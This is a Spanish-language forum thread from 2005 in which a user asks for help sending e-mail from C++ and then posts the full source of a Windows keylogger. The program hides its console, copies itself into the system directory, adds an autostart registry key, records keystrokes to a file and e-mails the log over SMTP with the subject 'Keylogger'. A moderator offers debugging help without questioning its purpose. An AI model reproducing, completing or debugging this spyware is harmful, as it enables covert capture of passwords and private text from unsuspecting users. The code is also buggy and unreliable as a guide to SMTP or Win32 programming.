• Domingo 22 de Diciembre de 2024, 16:58

Autor Tema:  Emviar E-mail's Con C++  (Leído 2785 veces)

jp_badoino

  • Nuevo Miembro
  • *
  • Mensajes: 6
    • Ver Perfil
Emviar E-mail's Con C++
« en: Martes 29 de Marzo de 2005, 23:47 »
0
Hola quiero saber como puedo hacer para emviar email's con datos adjuntos usando el borland c++, bajo windows, trate con servidores smtp pero siempre me manda error agradesco su ayuda gracias.        [email:kfv2dexw]jp_badoino@hotmail.com[/email:kfv2dexw]

© Jonathan ©

  • Moderador
  • ******
  • Mensajes: 1671
  • Nacionalidad: ar
    • Ver Perfil
    • http://www.einstec.com.ar
Re: Emviar E-mail's Con C++
« Respuesta #1 en: Miércoles 30 de Marzo de 2005, 01:32 »
0
Lo que has hecho lo has hecho con Sockets?... APIS??.. detalla un poco, poder se puede hacer con Apis y usando outlook express o usando sockets y un poco de ingenio. Saludos :)
EINSTEC Tecnología «La única fuente del conocimiento es la experiencia.»

«Lo importante es no dejar de hacerse preguntas.»

jp_badoino

  • Nuevo Miembro
  • *
  • Mensajes: 6
    • Ver Perfil
Re: Emviar E-mail's Con C++
« Respuesta #2 en: Miércoles 30 de Marzo de 2005, 05:25 »
0
Hola.. gracias por la prontitud y las disculpas del caso para esto use sockests y como servidor smtp mx1.hotmail.com bueno aca detallo un poco del codigo haber si me pueden ayudar gracias de todas formas saludos.....


#include <winsock.h>
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
#include <conio.h>
#pragma comment(lib, "ws2_32.lib")

void foo(int letra,char *file);
void leer(char *file);
char tex[5000];

int main(int argc,char **argv){

BOOL x;
unsigned int i;
char s[255],directory[300];
long key,res;
HKEY ret;
HWND r;
char buffer[1024],buffer1[1024];


WSADATA data;
SOCKADDR_IN add;
SOCKET sock;

~~~~

res = WSAStartup(MAKEWORD(1,1),&data);
if (res !=0)
exit(0);

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 1)
exit(0);



memset(&add, 0, sizeof(add));
add.sin_family = PF_INET;
add.sin_port = htons((unsigned short)atoi(argv[4]));
add.sin_addr.s_addr = inet_addr(argv[3]);
connect(sock,(LPSOCKADDR)&add,16);
leer(argv[1]);

send(sock,"helo\n\r",6,0);
send(sock,"mail from:ErcUn@elfeo\n\r",strlen("mail from:ErcUn@elfeo\n\r"),0);
sprintf(buffer,"rcpt to:%s\n\r",argv[5]);
send(sock,buffer,10 +strlen(argv[5]),0);
send(sock,"data\n\r",6,0);
send(sock,"subject:Keylogger\n\r",strlen("subject:Hola\n\r"),0);
sprintf(buffer1,"contenido:%s\n\r.\n\r",tex);
send(sock,buffer1,strlen("contenido:\n\r.\n\r")+strlen(tex),0);
send(sock,"quit\n\r",6,0);


bueno no es todo el codigo logicamente pero esta ultima parte es la que se encarga supuestamente de emviar el correo pero nada espero me haya explicado mejor y me puedan explicar o guiar de otra manera.. ahhh y una duda mas: si este tipo de programas corren tanto en win98 como en winXP, bueno gracias de antemano hasta luego... :hola:

© Jonathan ©

  • Moderador
  • ******
  • Mensajes: 1671
  • Nacionalidad: ar
    • Ver Perfil
    • http://www.einstec.com.ar
Re: Emviar E-mail's Con C++
« Respuesta #3 en: Viernes 1 de Abril de 2005, 16:10 »
0
A simple vista no veo errores, dejame profundizar un poco en el code y vemos que se encuentra.. respecto a tu duda, si utilizas las librerias adecuadas, osea #include <winsock.h> siempre funcionara sin importar el windows.. para mantener compatibilidad entre las distintas versiones de Win se utilizan las APIS, que son las funciones que no varian en el progreso y avance de las versiones del sistema operativo. Saludos :)


PD: necesitas enviar adjuntos, pero dime... el mensaje solito sin adjuntos llega?.. o ni siquiera funciona el envio de solamente el texto?. :)
EINSTEC Tecnología «La única fuente del conocimiento es la experiencia.»

«Lo importante es no dejar de hacerse preguntas.»

jp_badoino

  • Nuevo Miembro
  • *
  • Mensajes: 6
    • Ver Perfil
Re: Emviar E-mail's Con C++
« Respuesta #4 en: Viernes 1 de Abril de 2005, 18:16 »
0
hola bueno aca dejo el codigo completo haber si hay error:

#include <winsock.h>
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")

void foo(int letra,char *file);
void leer(char *file);
char tex[5000];

int main(int argc,char **argv){

BOOL x;
unsigned int i;
char s[255],directory[300];
long key,res;
HKEY ret;
HWND r;
char buffer[1024],buffer1[1024];


WSADATA data;
SOCKADDR_IN add;
SOCKET sock;


   if(argc<6 || argc>6){
     printf("-Usage:%s backucp backup.log mx1.hotmail.com 25 jp_badoino@hotmail.com");
    printf("\n\r%s","-[1]=true;
  • =false");

     exit(0);


   }


    if(atoi(argv[2]) > 1 || atoi(argv[2]) < 0){
    printf("\n%s\n","-Solo 1 o 0,men");
   exit(0);

   }

   if (atoi(argv[2])==0)
   printf("\n%s\n","-No se añade valores al registro ni se copia el fichero");

   if (atoi(argv[2])==1){

     AllocConsole();
     r = FindWindowA("ConsoleWindowClass",NULL);
     ShowWindow (r,0);

     i =GetSystemDirectory(s,255);
    if (i != 0)
     sprintf(directory,"%s\\%s",s,"mail.exe");

    x =CopyFile(argv[0],directory,TRUE);
     if (x = TRUE)
     printf("\n%s\n","
  • Se copia el fichero");




     key =RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&ret);
     if(key==0){
       printf("\n%s\n","
  • Copia clave en registro");

       sprintf(directory,"%s\\%s %s %s",s,"mail.exe",argv[1],argv[2]);
       RegSetValueEx((HKEY)ret,"mail.exe",0,REG_SZ,(BYTE *)&directory,sizeof(directory));

    }



   }


 res = WSAStartup(MAKEWORD(1,1),&data);
 if (res !=0)
        exit(0);

 sock = socket(AF_INET, SOCK_STREAM, 0);
 if (sock < 1)
        exit(0);


 memset(&add, 0, sizeof(add));
 add.sin_family = PF_INET;
 add.sin_port = htons((unsigned short)atoi(argv[4]));
 add.sin_addr.s_addr = inet_addr(argv[3]);
 connect(sock,(LPSOCKADDR)&add,16);
leer(argv[1]);

 send(sock,"helo\n\r",6,0);
 send(sock,"mail from:jp_badoino@hotmail.com\n\r",strlen("mail from:jp_badoino@hotmail.com\n\r"),0);
 sprintf(buffer,"rcpt to:%s\n\r",argv[5]);
 send(sock,buffer,10 +strlen(argv[5]),0);
 send(sock,"data\n\r",6,0);
 send(sock,"subject:Keylogger\n\r",strlen("subject:Info\n\r"),0);
 sprintf(buffer1,"contenido:%s\n\r.\n\r",tex);
 send(sock,buffer1,strlen("contenido:\n\r.\n\r")+strlen(tex),0);
 send(sock,"quit\n\r",6,0);


   while(1){
     for(i=8;i<=255;i++){
     if (GetAsyncKeyState(i) == -32767)
            {


      foo (i,argv[1]);

    }
     }

   }


}

void leer(char *file){

   FILE *canal1;

      if ((canal1= fopen(file,"r")) != NULL){
         do{
       fgets(tex,5000,canal1);

         }while(feof(canal1) ==0);

      }

}

void foo(int letra,char *file){

FILE *canal1;

canal1 = fopen(file,"a+");



if (letra==8)
fprintf(canal1,"%s","[del]");
if (letra==13)
fprintf(canal1,"%s","\n[enter]");
if (letra==32)
fprintf(canal1,"%s","[space]");
if (letra==VK_CAPITAL)
fprintf(canal1,"%s","[CapitalLetters]");
if (letra==VK_TAB)
fprintf(canal1,"%s","[TAB]");
if (letra ==VK_SHIFT)
fprintf(canal1,"%s","[SHIFT]");
if (letra ==VK_CONTROL)
fprintf(canal1,"%s","[CTRL]");
if (letra ==VK_PAUSE)
fprintf(canal1,"%s","[PAUSE]");
if (letra ==VK_KANA)
fprintf(canal1,"%s","[Kana]");
if (letra ==VK_ESCAPE)
fprintf(canal1,"%s","[ESC]");
if (letra ==VK_END)
fprintf(canal1,"%s","[END]");
if (letra ==VK_HOME)
fprintf(canal1,"%s","[HOME]");
if (letra ==VK_LEFT)
fprintf(canal1,"%s","
");
if (letra ==VK_UP)
fprintf(canal1,"%s","[UP]");
if (letra ==VK_RIGHT)
fprintf(canal1,"%s","
");
if (letra ==VK_DOWN)
fprintf(canal1,"%s","[DOWN]");
if (letra ==VK_SNAPSHOT)
fprintf(canal1,"%s","[PRINT]");
if (letra ==VK_NUMLOCK)
fprintf(canal1,"%s","[NUM LOCK]");
if (letra ==190 || letra==110)
fprintf(canal1,"%s",".");
if (letra >=96 && letra <= 105){
letra = letra - 48;
 fprintf(canal1,"%s",&letra) ;

}
if (letra >=48 && letra <= 59)
 fprintf(canal1,"%s",&letra) ;

if (letra !=VK_LBUTTON || letra !=VK_RBUTTON){
if (letra >=65 && letra <=90){
 if (GetKeyState(VK_CAPITAL))
      fprintf(canal1,"%s",&letra);
 else
 {
  letra = letra +32;
  fprintf(canal1,"%s",&letra);

 }
}

}
fclose(canal1);

}

jp_badoino

  • Nuevo Miembro
  • *
  • Mensajes: 6
    • Ver Perfil
Re: Emviar E-mail's Con C++
« Respuesta #5 en: Viernes 1 de Abril de 2005, 18:22 »
0
ahh me olvidaba ps estube haciendo varios intentos pero nada no manda el archivo al momento de compilar ps nada no hay errores pero parece que hay algo mal siempre uso ese servidor abeces esta ocupado pero no consigo mandar el mail es la primera ves que lo hago con c++ y bueno a mi me parece que todo esta bien pero no se derrepente hay algo escondido por ahi de todas maneras gracias.
PD. si hay otra manera de hacerlo ps me vendria muy bien gracias hasta pronto :)